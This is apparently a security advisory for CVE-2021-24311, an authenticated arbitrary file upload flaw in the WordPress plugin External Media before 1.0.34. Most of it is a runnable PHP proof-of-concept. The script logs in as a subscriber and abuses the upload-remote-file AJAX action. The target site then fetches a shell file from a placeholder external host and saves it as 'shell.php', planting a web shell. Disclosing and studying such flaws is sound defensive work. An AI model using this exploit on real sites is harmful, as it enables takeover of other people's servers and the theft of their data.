External Media < 1.0.34 – Authenticated Arbitrary File Upload | CVE 2021-24311

Description

The wp_ajax_upload-remote-file AJAX action of the plugin was vulnerable to arbitrary file uploads via any authenticated users.

Proof of Concept

<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Upload File
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'url' => 'https://EXTERNALSITEHOSTINGFILE/shell.txt',
    'plugin' => 'ExternalLink',
    'filename' => 'shell.php',
    'caption' => '',
    'referer' => '',
    'action' => 'upload-remote-file'

]);

$output = curl_exec($ch);
curl_close($ch);
echo $output;

?>